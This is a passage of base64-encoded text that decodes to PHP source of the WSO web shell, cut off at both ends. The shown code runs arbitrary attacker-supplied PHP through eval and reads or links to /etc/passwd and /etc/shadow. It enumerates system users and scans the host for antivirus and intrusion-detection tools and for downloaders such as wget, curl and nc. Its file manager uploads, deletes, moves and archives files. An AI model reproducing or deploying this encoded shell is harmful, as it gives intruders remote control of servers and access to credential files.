DB4MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoJcmV0dXJuICRpOwp9CgpmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgkZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKfQoKZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOwogICAgfSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CgpmdW5jdGlvbiB3c29XaGljaCgkcCkgewoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsKCWlmKCFlbXB0eSgkcGF0aCkpCgkJcmV0dXJuICRwYXRoOwoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0gdHJpbSgkdik7CgkJaWYoJHYpIHsKCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7CgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdiAuICc8YnI+JzsKCQkJZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7CgkJfQoJfQoKCXdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7Cgl3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7Cgl3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7Cgl3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKCXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwoJd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJPcmFjbGUiOwoJd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CgllY2hvICc8YnI+JzsKCglpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4JykgewogICAgICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwogICAgICAgICAgICB3c29TZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4KCdkZiAtaCcpKTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRfUE9TVFsncDMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgICAgICR0ZW1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJzJywgJHRlbXApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOwoJCXdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOwoJCXdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4JywgdHJ1ZSk7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsKCgl3c29IZWFkZXIoKTsKCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7CgkJZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7CgkJb2Jfc3RhcnQoKTsKCQlwaHBpbmZvKCk7CgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoYXJyYXkgKAogICAgICAgICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLAogICAgICAgICAgICAnIXRkLCB0aCB7KC4qKX0hbXNpVScsCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywKICAgICAgICApLCBhcnJheSAoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAnLmUsIC52LCAuaCwgLmggdGggeyQxfScsCiAgICAgICAgICAgICcnCiAgICAgICAgKSwgJHRtcCk7CgkJZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKCX0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKCX0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBpZiAoIWVtcHR5ICgkX0NPT0tJRVsnZiddKSkKICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOwogICAgCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CgkJCQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ21rZGlyJzoKCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CgkJCQlicmVhazsKCQkJY2FzZSAnZGVsZXRlJzoKCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOwoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CgkJCQkJCSRpdGVtID0gJHBhdGguJGl0ZW07CgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQoJCQkJCQkJY29udGludWU7CgkJCQkJCSR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsKCQkJCQl9CgkJCQkJY2xvc2VkaXIoJGRoKTsKCQkJCQlAcm1kaXIoJHBhdGgpOwoJCQkJfQoJCQkJaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOwoJCQkJCQlpZihpc19kaXIoJGYpKQoJCQkJCQkJZGVsZXRlRGlyKCRmKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygkZik7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bhc3RlKCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQl9IGVsc2VpZihAaXNfZmlsZSgkYy4kcykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCgkJCQkJCUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwoJCQkJfQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7CgkJCQlicmVhazsKCQkJZGVmYXVsdDoKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQkJV1NPc2V0Y29va2llKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOwoJCQkJCVdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsKCQkJCQlXU09zZXRjb29raWUoJ2MnLCBAJF9QT1NUWydjJ10pOwoJCQkJfQoJCQkJYnJlYWs7CgkJfQoJfQogICAgd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwoJJGRpckNvbnRlbnQgPSB3c29TY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQoJZ2xvYmFsICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKCX0KZWNobyAiPHNjcmlwdD4KCWZ1bmN0aW9uIHNhKCkgewoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCWlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwoJfQo8L3NjcmlwdD4KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0Wz